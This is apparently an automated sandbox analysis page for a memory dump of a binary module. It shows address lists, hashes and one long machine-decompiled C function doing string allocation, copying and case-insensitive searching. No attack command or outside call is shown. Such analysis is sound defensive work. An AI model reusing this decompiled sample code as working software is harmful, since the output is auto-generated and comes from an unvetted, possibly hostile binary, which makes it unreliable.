0x6eb92698
0x6eb9269a
0x00000000
0x6eb9269c
0x6eb9269c
0x6eb926a3
0x6eb926a4
0x6eb926a4
0x6eb9269a
0x6eb92605
0x6eb92614
0x6eb92616
0x6eb92618
0x6eb9261a
0x6eb9261a
0x6eb92632
0x6eb92632
0x6eb9263e
0x6eb92643
0x6eb92645
0x00000000
0x6eb92647
0x6eb92647
0x6eb9264e
0x6eb9264f
0x6eb9264f
0x6eb92645
0x6eb917dc
0x6eb917de
0x6eb917f4
0x6eb917f6
0x6eb917f8
0x00000000
0x6eb917fa
0x6eb917fa
0x6eb91802
0x6eb9180b
0x6eb9180b
0x6eb91810
0x6eb91818
0x00000000
0x6eb9181e
0x6eb91828
0x6eb9182d
0x6eb9182f
0x6eb91852
0x6eb91857
0x6eb91859
0x00000000
0x6eb9185f
0x6eb9185f
0x6eb91863
0x6eb91864
0x6eb91864
0x6eb91831
0x6eb91831
0x6eb91837
0x6eb91839
0x6eb9183a
0x6eb9183b
0x6eb9183c
0x6eb9183e
0x6eb91845
0x6eb91846
0x6eb91847
0x6eb91847
0x6eb9182f
0x6eb91818
0x6eb917f8
0x6eb917a2
0x6eb917aa
0x6eb92756
0x6eb92756
0x6eb9275b
0x6eb92762
0x6eb9276e
0x6eb9277a
0x6eb92786
0x6eb92792
0x6eb927a5
0x6eb927a5

Strings

)8GV, xrefs: 6EB91956

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: )8GV
API String ID: 0-3946227331
Opcode ID: 95a2cbd6d04150314c8bb2b42d01ba2e0b0d90f0f52befe01fd562d8f52225d3
Instruction ID: c8c895dea05ef0b3ac7cdf4af510ad1c301ca1ca16865f98a923ff05a8d8bda5
Opcode Fuzzy Hash: 95a2cbd6d04150314c8bb2b42d01ba2e0b0d90f0f52befe01fd562d8f52225d3
Instruction Fuzzy Hash: 0B825F719297C48AE321DFA4D951BFFB7ACAFE2218F004F1DE58A52192EF30A544C752

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB2E60, Relevance: 2.0, Strings: 1, Instructions: 797
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6EBB2E60(signed int __ecx, void* __eflags, signed int _a4, char _a8) {
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char* _t230;
				signed int _t231;
				signed int* _t237;
				char* _t238;
				void* _t245;
				signed int _t246;
				char _t249;
				signed int _t251;
				signed int _t254;
				signed int _t256;
				void* _t257;
				void* _t258;
				signed int _t262;
				signed int _t264;
				signed int _t265;
				signed int _t266;
				signed int _t268;
				char _t271;
				signed int _t273;
				signed int _t279;
				signed int _t280;
				signed int _t283;
				signed int _t284;
				void* _t286;
				void* _t288;
				signed int _t292;
				void* _t295;
				signed int _t298;
				signed int _t299;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				signed int _t308;
				signed int _t310;
				signed int _t311;
				char _t312;
				char _t313;
				char _t314;
				char _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t325;
				signed int _t326;
				signed int _t327;
				signed int _t328;
				signed int _t329;
				void* _t330;
				signed int _t331;
				signed int _t332;
				signed int _t335;
				signed int _t336;
				void* _t337;
				signed int _t340;
				void* _t341;
				signed int _t342;
				signed int _t343;
				signed int _t344;
				char* _t347;
				signed int _t350;
				signed int _t352;
				void* _t355;
				signed int _t357;
				char _t359;
				signed int _t362;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				signed int _t368;
				signed int _t369;
				signed int _t379;
				signed int _t380;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				signed int _t384;
				signed int _t386;
				void* _t389;
				signed int _t390;
				char _t392;
				signed int _t395;
				signed int _t400;
				char _t402;
				char _t403;
				char _t404;
				signed int _t406;
				unsigned int _t411;
				signed int _t413;
				signed int _t415;
				signed int _t416;
				signed int _t421;
				signed int _t422;
				signed int _t433;
				signed int _t434;
				signed int _t435;
				signed int _t441;
				signed int _t443;
				signed int _t449;
				signed int _t450;
				signed int _t452;
				signed int _t461;
				signed int _t465;
				signed int _t466;
				signed int _t468;
				signed int _t469;
				signed int _t478;
				signed int _t482;
				void* _t485;

				_v56 = 0;
				_t449 = __ecx;
				_v52 = 0;
				_push(0x40);
				_t406 = E6EBA1030();
				_t485 = (_t482 & 0xfffffff0) - 0x34 + 4;
				_t230 = _v56;
				if(_t230 == 0) {
					 *_t406 = 0;
					L8:
					_t231 = _a8;
					_v52 = 0x40;
					_v56 = _t406;
					if(_t231 != 0) {
						__eflags = _t406;
						if(_t406 == 0) {
							_t310 = 0x40;
							_t283 = 0;
							L22:
							_t20 = _t283 + 2; // 0x80000001
							_t341 = _t20;
							__eflags = _t341 - 0x40;
							_t342 =  <=  ? 0x40 : _t341;
							__eflags = _t310 - _t342;
							if(_t310 < _t342) {
								_t411 = (_t342 >> 5 >> 0x1a) + _t342 >> 6;
								_t343 = _t342 & 0x8000003f;
								__eflags = _t343;
								if(_t343 < 0) {
									_t343 = (_t343 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t343;
								}
								__eflags = _t343;
								_t413 = _t411 + (0 | _t343 > 0x00000000) << 6;
								_push(_t413);
								_t311 = E6EBA1030();
								_t485 = _t485 + 4;
								_t344 = _v56;
								__eflags = _t344;
								if(_t344 == 0) {
									 *_t311 = 0;
									goto L35;
								} else {
									__eflags = _t311;
									if(_t311 == 0) {
										L33:
										_push(1);
										_push(_t344);
										_v68 = _t311;
										E6EBA10B0();
										_t311 = _v68;
										_t485 = _t485 + 8;
										L35:
										_v52 = _t413;
										_v56 = _t311;
										L36:
										 *((char*)(_t311 + _t283)) = _a8;
										_t237 =  &_v56;
										 *((char*)(_t283 +  *_t237 + 1)) = 0;
										L37:
										_t238 =  *_t237;
										_v28 = _t238;
										_t284 = _a4;
										if(_t238 == 0) {
											L39:
											_push(0x40);
											 *_t284 = 0;
											 *(_t284 + 4) = 0;
											_t450 = E6EBA1030();
											_t485 = _t485 + 4;
											_t347 =  *_t284;
											if(_t347 == 0) {
												 *_t450 = 0;
												L61:
												 *_t284 = _t450;
												 *(_t284 + 4) = 0x40;
												L62:
												_push(1);
												_push(_v56);
												E6EBA10B0();
												_v56 = 0;
												_v52 = 0;
												return _t284;
											}
											if(_t450 == 0) {
												L45:
												_push(1);
												_push(_t347);
												E6EBA10B0();
												_t485 = _t485 + 8;
												goto L61;
											}
											_t312 =  *_t347;
											 *_t450 = _t312;
											if(_t312 == 0) {
												goto L45;
											}
											_t415 = 0;
											while(1) {
												_t415 = _t415 + 1;
												_t313 =  *((char*)(_t347 + _t415 * 2 - 1));
												 *((char*)(_t450 + _t415 * 2 - 1)) = _t313;
												if(_t313 == 0) {
													goto L45;
												}
												_t314 =  *((char*)(_t347 + _t415 * 2));
												 *((char*)(_t450 + _t415 * 2)) = _t314;
												if(_t314 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t315 =  *_t238;
										_v48 = _t315;
										if(_t315 != 0) {
											_t350 =  *_t449;
											_v60 = _t350;
											__eflags = _t350;
											if(_t350 == 0) {
												L53:
												_push(0x40);
												 *_t284 = 0;
												 *(_t284 + 4) = 0;
												_t450 = E6EBA1030();
												_t485 = _t485 + 4;
												_t352 =  *_t284;
												__eflags = _t352;
												if(_t352 == 0) {
													 *_t450 = 0;
													goto L61;
												}
												__eflags = _t450;
												if(_t450 == 0) {
													L59:
													_push(1);
													_push(_t352);
													E6EBA10B0();
													_t485 = _t485 + 8;
													goto L61;
												}
												_t316 =  *_t352;
												 *_t450 = _t316;
												__eflags = _t316;
												if(_t316 == 0) {
													goto L59;
												}
												_t416 = 0;
												__eflags = 0;
												while(1) {
													_t416 = _t416 + 1;
													_t317 =  *((char*)(_t352 + _t416 * 2 - 1));
													 *(_t450 + _t416 * 2 - 1) = _t317;
													__eflags = _t317;
													if(_t317 == 0) {
														goto L59;
													}
													_t318 =  *((char*)(_t352 + _t416 * 2));
													 *(_t450 + _t416 * 2) = _t318;
													__eflags = _t318;
													if(_t318 != 0) {
														continue;
													}
													goto L59;
												}
												goto L59;
											}
											__eflags =  *_t350;
											if( *_t350 == 0) {
												goto L53;
											}
											_t417 = _t315;
											_t319 = _t350;
											_t63 = _t417 - 0x41; // -65
											_t452 = _t63;
											_v64 = _t452;
											__eflags = _t452 - 0x19;
											_t65 = _t417 + 0x20; // 0x20
											_t354 =  >  ? _t315 : _t65;
											_t245 =  >  ? _t315 : _t65;
											_t355 = 0;
											__eflags = 0;
											while(1) {
												_t286 =  *_t319;
												__eflags = _t286 - 0x41 - 0x19;
												_t287 =  <=  ? _t286 + 0x20 : _t286;
												__eflags = ( <=  ? _t286 + 0x20 : _t286) - _t245;
												if(( <=  ? _t286 + 0x20 : _t286) == _t245) {
													break;
												}
												_t355 = _t355 + 1;
												_t319 = _t319 + 1;
												_t300 = _v60;
												__eflags =  *((char*)(_t355 + _t300));
												if( *((char*)(_t355 + _t300)) != 0) {
													continue;
												}
												L52:
												_t284 = _a4;
												goto L53;
											}
											_t284 = _a4;
											__eflags = _t319;
											if(_t319 == 0) {
												goto L53;
											}
											_t357 = _v28 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_t421 =  ~_t357 + 0x10;
											__eflags = _t421;
											_v32 = _t421;
											_v40 = _v48 + 0x20;
											_t246 = _t421;
											do {
												_t422 = _t357;
												__eflags = _t357;
												if(_t357 == 0) {
													L69:
													_t461 =  ~( ~_t422 + 0x0000000f & 0x0000000f) + 0x7fffffff;
													__eflags = _t461;
													while(1) {
														asm("movdqu xmm1, [eax+edi]");
														asm("pcmpeqb xmm1, xmm0");
														asm("pmovmskb ebx, xmm1");
														__eflags = _t284;
														if(_t284 != 0) {
															break;
														}
														_t422 = _t422 + 0x10;
														__eflags = _t422 - _t461;
														if(_t422 < _t461) {
															continue;
														}
														__eflags = _t461 - 0x7fffffff;
														if(_t461 >= 0x7fffffff) {
															L76:
															_t461 = 0x7fffffff;
															L77:
															_v68 = _t461;
															_t288 = 0;
															__eflags = 0;
															_v44 = _t357;
															while(1) {
																_t249 =  *((char*)(_t288 + _t319));
																_t359 =  *((char*)(_t288 + _v28));
																__eflags = _t249 - 0x61 - 0x19;
																_t250 =  <=  ? _t249 - 0x20 : _t249;
																__eflags = _t359 - 0x61 - 0x19;
																_t251 =  <=  ? _t249 - 0x20 : _t249;
																_t360 =  <=  ? _t359 - 0x20 : _t359;
																_t361 =  <=  ? _t359 - 0x20 : _t359;
																__eflags = _t251 - ( <=  ? _t359 - 0x20 : _t359);
																if(__eflags < 0 || __eflags > 0) {
																	break;
																}
																__eflags = _t251;
																if(_t251 == 0) {
																	L82:
																	_t357 = _v44;
																	_t466 = _v40;
																	_t284 = _a4;
																	L83:
																	__eflags = _t319;
																	if(_t319 == 0) {
																		goto L53;
																	}
																	_v44 = _t357;
																	while(1) {
																		L85:
																		_t254 = _t319;
																		_t292 = _t319 + 1;
																		__eflags = _t292;
																		if(_t292 == 0) {
																			break;
																		}
																		__eflags =  *(_t319 + 1);
																		if( *(_t319 + 1) == 0) {
																			break;
																		}
																		__eflags = _v64 - 0x19;
																		_t388 =  <=  ? _t466 : _v48;
																		_t389 =  <=  ? _t466 : _v48;
																		_v36 = _t254;
																		_v40 = _t466;
																		while(1) {
																			_t319 = _t319 + 1;
																			_t292 = _t292 + 1;
																			_t266 =  *_t319 & 0x000000ff;
																			_t466 =  *((char*)(_t292 - 1)) + 0xffffffbf;
																			__eflags = _t466 - 0x19;
																			_t267 =  <=  ? _t266 + 0x20 : _t266;
																			__eflags = ( <=  ? _t266 + 0x20 : _t266) - _t389;
																			if(( <=  ? _t266 + 0x20 : _t266) == _t389) {
																				break;
																			}
																			__eflags =  *_t292;
																			if( *_t292 != 0) {
																				continue;
																			}
																			L90:
																			_t254 = _v36;
																			_t365 = _v44;
																			_t284 = _a4;
																			L91:
																			__eflags = _t365;
																			if(_t365 == 0) {
																				L95:
																				_t325 =  ~( ~_t365 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																				__eflags = _t325;
																				while(1) {
																					asm("movdqu xmm1, [edi+edx]");
																					asm("pcmpeqb xmm1, xmm0");
																					asm("pmovmskb esi, xmm1");
																					__eflags = _t466;
																					if(_t466 != 0) {
																						break;
																					}
																					_t365 = _t365 + 0x10;
																					__eflags = _t365 - _t325;
																					if(_t365 < _t325) {
																						continue;
																					}
																					__eflags = _t325 - 0x7fffffff;
																					if(_t325 >= 0x7fffffff) {
																						L102:
																						_t325 = 0x7fffffff;
																						L103:
																						_t468 = _v60 & 0x0000000f;
																						__eflags = _t468;
																						if(_t468 == 0) {
																							L107:
																							_t433 =  ~( ~_t468 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																							__eflags = _t433;
																							while(1) {
																								asm("movdqu xmm1, [ebx+esi]");
																								asm("pcmpeqb xmm1, xmm0");
																								asm("pmovmskb edx, xmm1");
																								__eflags = _t365;
																								if(_t365 != 0) {
																									break;
																								}
																								_t468 = _t468 + 0x10;
																								__eflags = _t468 - _t433;
																								if(_t468 < _t433) {
																									continue;
																								}
																								_t284 = _a4;
																								__eflags = _t433 - 0x7fffffff;
																								if(_t433 >= 0x7fffffff) {
																									L114:
																									_t433 = 0x7fffffff;
																									L115:
																									_t366 = _v60;
																									_t256 = _t254 - _t366 + _t325;
																									_t326 = 0;
																									__eflags = _t256;
																									 *_t284 = 0;
																									_t257 =  <=  ? 0 : _t256;
																									__eflags = _t433 - _t257;
																									 *(_t284 + 4) = 0;
																									_t258 =  <  ? _t433 : _t257;
																									_t434 = _t433 - _t258;
																									_t367 = _t366 + _t258;
																									__eflags = _t367;
																									_v64 = _t367;
																									if(_t367 == 0) {
																										L151:
																										_push(0x40);
																										_t450 = E6EBA1030();
																										_t485 = _t485 + 4;
																										_t368 =  *_t284;
																										__eflags = _t368;
																										if(_t368 == 0) {
																											 *_t450 = 0;
																											goto L61;
																										}
																										__eflags = _t450;
																										if(_t450 == 0) {
																											L157:
																											_push(1);
																											_push(_t368);
																											E6EBA10B0();
																											_t485 = _t485 + 8;
																											goto L61;
																										}
																										_t327 =  *_t368;
																										 *_t450 = _t327;
																										__eflags = _t327;
																										if(_t327 == 0) {
																											goto L157;
																										}
																										_t435 = 0;
																										__eflags = 0;
																										while(1) {
																											_t435 = _t435 + 1;
																											_t328 =  *((char*)(_t368 + _t435 * 2 - 1));
																											 *(_t450 + _t435 * 2 - 1) = _t328;
																											__eflags = _t328;
																											if(_t328 == 0) {
																												goto L157;
																											}
																											_t329 =  *((char*)(_t368 + _t435 * 2));
																											 *(_t450 + _t435 * 2) = _t329;
																											__eflags = _t329;
																											if(_t329 != 0) {
																												continue;
																											}
																											goto L157;
																										}
																										goto L157;
																									}
																									_t369 = _v60;
																									__eflags =  *(_t369 + _t258);
																									if( *(_t369 + _t258) == 0) {
																										goto L151;
																									}
																									__eflags = _t434;
																									if(_t434 != 0) {
																										L130:
																										_t144 = _t434 + 1; // 0x80000000
																										_t330 = _t144;
																										__eflags = _t330 - 0x40;
																										_t331 =  <=  ? 0x40 : _t330;
																										__eflags = _t331;
																										if(_t331 > 0) {
																											_v68 = (_t331 >> 5 >> 0x1a) + _t331 >> 6;
																											_t332 = _t331 & 0x8000003f;
																											__eflags = _t332;
																											if(_t332 < 0) {
																												_t332 = (_t332 - 0x00000001 | 0xffffffc0) + 1;
																												__eflags = _t332;
																											}
																											__eflags = _t332;
																											_t335 = _v68 + (0 | _t332 > 0x00000000) << 6;
																											_v68 = _t335;
																											_push(_t335);
																											_t469 = E6EBA1030();
																											_t485 = _t485 + 4;
																											_t336 =  *_t284;
																											__eflags = _t336;
																											if(_t336 == 0) {
																												 *_t469 = 0;
																												goto L143;
																											} else {
																												__eflags = _t469;
																												if(_t469 == 0) {
																													L141:
																													_push(1);
																													_push(_t336);
																													E6EBA10B0();
																													_t485 = _t485 + 8;
																													L143:
																													 *(_t284 + 4) = _v68;
																													 *_t284 = _t469;
																													L144:
																													__eflags = _t469;
																													if(_t469 == 0) {
																														goto L62;
																													}
																													_t262 = _v64;
																													_t337 = 0;
																													while(1) {
																														_t379 =  *_t262;
																														_t337 = _t337 + 1;
																														 *_t469 = _t379;
																														__eflags = _t434;
																														if(_t434 == 0) {
																															goto L149;
																														}
																														__eflags = _t337 - _t434;
																														if(_t337 == _t434) {
																															 *(_t469 + 1) = 0;
																															goto L62;
																														}
																														L149:
																														__eflags = _t379;
																														if(_t379 == 0) {
																															goto L62;
																														}
																														_t469 = _t469 + 1;
																														_t262 = _t262 + 1;
																														__eflags = _t262;
																													}
																												}
																												_t380 =  *_t336;
																												 *_t469 = _t380;
																												__eflags = _t380;
																												if(_t380 == 0) {
																													goto L141;
																												}
																												_t381 = 0;
																												__eflags = 0;
																												while(1) {
																													_t381 = _t381 + 1;
																													_t264 =  *((char*)(_t336 + _t381 * 2 - 1));
																													 *(_t469 + _t381 * 2 - 1) = _t264;
																													__eflags = _t264;
																													if(_t264 == 0) {
																														break;
																													}
																													_t265 =  *((char*)(_t336 + _t381 * 2));
																													 *(_t469 + _t381 * 2) = _t265;
																													__eflags = _t265;
																													if(_t265 != 0) {
																														continue;
																													}
																													break;
																												}
																												_t284 = _a4;
																												goto L141;
																											}
																										}
																										_t469 = 0;
																										goto L144;
																									}
																									_t382 = _t369 + _t258;
																									_v60 = _t382;
																									_t383 = _t382 & 0x0000000f;
																									__eflags = _t383;
																									if(_t383 == 0) {
																										L122:
																										_t434 =  ~( ~_t383 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																										__eflags = _t434;
																										while(1) {
																											asm("movdqu xmm1, [esi+edx]");
																											asm("pcmpeqb xmm1, xmm0");
																											asm("pmovmskb ecx, xmm1");
																											__eflags = _t326;
																											if(_t326 != 0) {
																												break;
																											}
																											_t383 = _t383 + 0x10;
																											__eflags = _t383 - _t434;
																											if(_t383 < _t434) {
																												continue;
																											}
																											__eflags = _t434 - 0x7fffffff;
																											if(_t434 >= 0x7fffffff) {
																												L129:
																												_t434 = 0x7fffffff;
																												goto L130;
																											}
																											_t384 = _v60;
																											while(1) {
																												__eflags =  *((char*)(_t434 + _t384));
																												if( *((char*)(_t434 + _t384)) == 0) {
																													goto L130;
																												}
																												_t434 = _t434 + 1;
																												__eflags = _t434 - 0x7fffffff;
																												if(_t434 < 0x7fffffff) {
																													continue;
																												}
																												goto L129;
																											}
																											goto L130;
																										}
																										asm("bsf edi, ecx");
																										_t434 = _t434 + _t383;
																										goto L130;
																									}
																									_t434 = 0;
																									_t326 = _v60;
																									_t383 =  ~_t383 + 0x10;
																									__eflags = _t383;
																									while(1) {
																										__eflags =  *((char*)(_t434 + _t326));
																										if( *((char*)(_t434 + _t326)) == 0) {
																											goto L130;
																										}
																										_t434 = _t434 + 1;
																										__eflags = _t434 - _t383;
																										if(_t434 < _t383) {
																											continue;
																										}
																										goto L122;
																									}
																									goto L130;
																								}
																								_t386 = _v60;
																								while(1) {
																									__eflags =  *((char*)(_t433 + _t386));
																									if( *((char*)(_t433 + _t386)) == 0) {
																										goto L115;
																									}
																									_t433 = _t433 + 1;
																									__eflags = _t433 - 0x7fffffff;
																									if(_t433 < 0x7fffffff) {
																										continue;
																									}
																									goto L114;
																								}
																								goto L115;
																							}
																							asm("bsf edi, edx");
																							_t284 = _a4;
																							_t433 = _t433 + _t468;
																							goto L115;
																						}
																						_t433 = 0;
																						_t365 = _v60;
																						_t468 =  ~_t468 + 0x10;
																						__eflags = _t468;
																						while(1) {
																							__eflags =  *((char*)(_t433 + _t365));
																							if( *((char*)(_t433 + _t365)) == 0) {
																								goto L115;
																							}
																							_t433 = _t433 + 1;
																							__eflags = _t433 - _t468;
																							if(_t433 < _t468) {
																								continue;
																							}
																							goto L107;
																						}
																						goto L115;
																					}
																					_t365 = _v28;
																					while(1) {
																						__eflags =  *(_t325 + _t365);
																						if( *(_t325 + _t365) == 0) {
																							goto L103;
																						}
																						_t325 = _t325 + 1;
																						__eflags = _t325 - 0x7fffffff;
																						if(_t325 < 0x7fffffff) {
																							continue;
																						}
																						goto L102;
																					}
																					goto L103;
																				}
																				asm("bsf ecx, esi");
																				_t325 = _t325 + _t365;
																				goto L103;
																			}
																			_t365 = _v32;
																			_t325 = 0;
																			__eflags = 0;
																			_t441 = _v28;
																			_t466 = _t365;
																			while(1) {
																				__eflags =  *((char*)(_t325 + _t441));
																				if( *((char*)(_t325 + _t441)) == 0) {
																					goto L103;
																				}
																				_t325 = _t325 + 1;
																				__eflags = _t325 - _t466;
																				if(_t325 < _t466) {
																					continue;
																				}
																				goto L95;
																			}
																			goto L103;
																		}
																		_t254 = _v36;
																		_t466 = _v40;
																		__eflags = _t319;
																		if(_t319 == 0) {
																			break;
																		}
																		_v36 = _t254;
																		_v40 = _t466;
																		_t390 = _v44;
																		_t268 = _v32;
																		do {
																			_t443 = _t390;
																			__eflags = _t390;
																			if(_t390 == 0) {
																				L169:
																				_t478 =  ~( ~_t443 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																				__eflags = _t478;
																				while(1) {
																					asm("movdqu xmm1, [eax+edi]");
																					asm("pcmpeqb xmm1, xmm0");
																					asm("pmovmskb ebx, xmm1");
																					__eflags = _t292;
																					if(_t292 != 0) {
																						break;
																					}
																					_t443 = _t443 + 0x10;
																					__eflags = _t443 - _t478;
																					if(_t443 < _t478) {
																						continue;
																					}
																					__eflags = _t478 - 0x7fffffff;
																					if(_t478 >= 0x7fffffff) {
																						L176:
																						_t478 = 0x7fffffff;
																						L177:
																						_v68 = _t478;
																						_t295 = 0;
																						__eflags = 0;
																						_v44 = _t390;
																						while(1) {
																							_t271 =  *((char*)(_t295 + _t319));
																							_t392 =  *((char*)(_t295 + _v28));
																							__eflags = _t271 - 0x61 - 0x19;
																							_t272 =  <=  ? _t271 - 0x20 : _t271;
																							__eflags = _t392 - 0x61 - 0x19;
																							_t273 =  <=  ? _t271 - 0x20 : _t271;
																							_t393 =  <=  ? _t392 - 0x20 : _t392;
																							_t394 =  <=  ? _t392 - 0x20 : _t392;
																							__eflags = _t273 - ( <=  ? _t392 - 0x20 : _t392);
																							if(__eflags < 0 || __eflags > 0) {
																								break;
																							}
																							__eflags = _t273;
																							if(_t273 == 0) {
																								L182:
																								_t254 = _v36;
																								_t466 = _v40;
																								L183:
																								__eflags = _t319;
																								if(_t319 != 0) {
																									goto L85;
																								}
																								goto L184;
																							}
																							_t295 = _t295 + 1;
																							__eflags = _t295 - _v68;
																							if(_t295 < _v68) {
																								continue;
																							}
																							goto L182;
																						}
																						_t365 = _v44;
																						_t466 = _t319 + 1;
																						__eflags = _t466;
																						if(_t466 == 0) {
																							goto L192;
																						}
																						__eflags = _v64 - 0x19;
																						_t297 =  <=  ? _v40 : _v48;
																						_t292 =  <=  ? _v40 : _v48;
																						__eflags =  *(_t319 + 1);
																						if( *(_t319 + 1) == 0) {
																							goto L192;
																						}
																						_v44 = _t365;
																						while(1) {
																							_t319 = _t319 + 1;
																							_t466 = _t466 + 1;
																							_t395 =  *_t319 & 0x000000ff;
																							__eflags =  *((char*)(_t466 - 1)) + 0xffffffbf - 0x19;
																							_t396 =  <=  ? _t395 + 0x20 : _t395;
																							__eflags = ( <=  ? _t395 + 0x20 : _t395) - _t292;
																							if(( <=  ? _t395 + 0x20 : _t395) == _t292) {
																								goto L191;
																							}
																							__eflags =  *_t466;
																							if( *_t466 != 0) {
																								continue;
																							}
																							goto L90;
																						}
																						goto L191;
																					}
																					_t298 = _v28;
																					while(1) {
																						__eflags =  *((char*)(_t478 + _t298));
																						if( *((char*)(_t478 + _t298)) == 0) {
																							break;
																						}
																						_t478 = _t478 + 1;
																						__eflags = _t478 - 0x7fffffff;
																						if(_t478 < 0x7fffffff) {
																							continue;
																						}
																						goto L176;
																					}
																					L193:
																					__eflags = _t478;
																					if(__eflags == 0) {
																						goto L176;
																					}
																					if(__eflags > 0) {
																						goto L177;
																					}
																					_v44 = _t390;
																					_t254 = _v36;
																					_t466 = _v40;
																					goto L183;
																				}
																				asm("bsf esi, ebx");
																				_t478 = _t478 + _t443;
																				goto L193;
																			}
																			_t292 = _v28;
																			_t443 = _t268;
																			_t478 = 0;
																			__eflags = 0;
																			while(1) {
																				__eflags =  *((char*)(_t478 + _t292));
																				if( *((char*)(_t478 + _t292)) == 0) {
																					goto L193;
																				}
																				_t478 = _t478 + 1;
																				__eflags = _t478 - _t268;
																				if(_t478 < _t268) {
																					continue;
																				}
																				goto L169;
																			}
																			goto L193;
																			L191:
																			_t390 = _v44;
																			_t268 = _v32;
																			__eflags = _t319;
																		} while (_t319 != 0);
																		L192:
																		_t254 = _v36;
																		_t284 = _a4;
																		goto L91;
																	}
																	L184:
																	_t365 = _v44;
																	goto L91;
																}
																_t288 = _t288 + 1;
																__eflags = _t288 - _v68;
																if(_t288 < _v68) {
																	continue;
																}
																goto L82;
															}
															_t362 = _v44;
															_t465 = _t319 + 1;
															__eflags = _t465;
															if(_t465 == 0) {
																goto L52;
															}
															__eflags = _v64 - 0x19;
															_t290 =  <=  ? _v40 : _v48;
															_t284 =  <=  ? _v40 : _v48;
															__eflags =  *(_t319 + 1);
															if( *(_t319 + 1) == 0) {
																goto L52;
															}
															_v44 = _t362;
															while(1) {
																_t319 = _t319 + 1;
																_t465 = _t465 + 1;
																_t363 =  *_t319 & 0x000000ff;
																__eflags =  *((char*)(_t465 - 1)) + 0xffffffbf - 0x19;
																_t364 =  <=  ? _t363 + 0x20 : _t363;
																__eflags = ( <=  ? _t363 + 0x20 : _t363) - _t284;
																if(( <=  ? _t363 + 0x20 : _t363) == _t284) {
																	goto L207;
																}
																__eflags =  *_t465;
																if( *_t465 != 0) {
																	continue;
																}
																goto L52;
															}
															goto L207;
														}
														_t299 = _v28;
														while(1) {
															__eflags =  *((char*)(_t461 + _t299));
															if( *((char*)(_t461 + _t299)) == 0) {
																break;
															}
															_t461 = _t461 + 1;
															__eflags = _t461 - 0x7fffffff;
															if(_t461 < 0x7fffffff) {
																continue;
															}
															goto L76;
														}
														L203:
														__eflags = _t461;
														if(__eflags == 0) {
															goto L76;
														}
														if(__eflags > 0) {
															goto L77;
														}
														_t466 = _v40;
														_t284 = _a4;
														goto L83;
													}
													asm("bsf esi, ebx");
													_t461 = _t461 + _t422;
													goto L203;
												}
												_t284 = _v28;
												_t422 = _t246;
												_t461 = 0;
												__eflags = 0;
												while(1) {
													__eflags =  *((char*)(_t461 + _t284));
													if( *((char*)(_t461 + _t284)) == 0) {
														goto L203;
													}
													_t461 = _t461 + 1;
													__eflags = _t461 - _t246;
													if(_t461 < _t246) {
														continue;
													}
													goto L69;
												}
												goto L203;
												L207:
												_t357 = _v44;
												_t246 = _v32;
												__eflags = _t319;
											} while (_t319 != 0);
											goto L52;
										}
										goto L39;
									}
									_t279 =  *_t344;
									 *_t311 = _t279;
									__eflags = _t279;
									if(_t279 == 0) {
										goto L33;
									}
									_v60 = _t413;
									_t280 = 0;
									__eflags = 0;
									_v64 = _t283;
									_v68 = _t449;
									while(1) {
										_t280 = _t280 + 1;
										_t301 =  *((char*)(_t344 + _t280 * 2 - 1));
										 *(_t311 + _t280 * 2 - 1) = _t301;
										__eflags = _t301;
										if(_t301 == 0) {
											break;
										}
										_t302 =  *((char*)(_t344 + _t280 * 2));
										 *(_t311 + _t280 * 2) = _t302;
										__eflags = _t302;
										if(_t302 != 0) {
											continue;
										}
										break;
									}
									_t413 = _v60;
									_t283 = _v64;
									_t449 = _v68;
									goto L33;
								}
							}
							_t311 = _v56;
							goto L36;
						}
						_t400 = _t406 & 0x0000000f;
						__eflags = _t400;
						if(_t400 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t308 =  ~( ~_t400 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t308;
							while(1) {
								asm("movdqu xmm1, [edi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t231;
								if(_t231 != 0) {
									break;
								}
								_t400 = _t400 + 0x10;
								__eflags = _t400 - _t308;
								if(_t400 < _t308) {
									continue;
								}
								__eflags = _t308 - 0x7fffffff;
								if(_t308 >= 0x7fffffff) {
									L21:
									_t310 = 0x40;
									_t283 = 0x7fffffff;
									goto L22;
								} else {
									goto L19;
								}
								while(1) {
									L19:
									__eflags =  *((char*)(_t308 + _t406));
									if( *((char*)(_t308 + _t406)) == 0) {
										break;
									}
									_t308 = _t308 + 1;
									__eflags = _t308 - 0x7fffffff;
									if(_t308 < 0x7fffffff) {
										continue;
									}
									goto L21;
								}
								L209:
								__eflags = _t283 - 0xfffffffe;
								if(_t283 != 0xfffffffe) {
									_t310 = 0x40;
								} else {
									 *_t406 = 0;
									_t310 = _v52;
								}
								goto L22;
							}
							asm("bsf ebx, eax");
							_t283 = _t308 + _t400;
							goto L209;
						}
						_t283 = 0;
						_t400 =  ~_t400 + 0x10;
						__eflags = _t400;
						while(1) {
							__eflags =  *((char*)(_t283 + _t406));
							if( *((char*)(_t283 + _t406)) == 0) {
								goto L209;
							}
							_t283 = _t283 + 1;
							__eflags = _t283 - _t400;
							if(_t283 < _t400) {
								continue;
							}
							goto L15;
						}
						goto L209;
					}
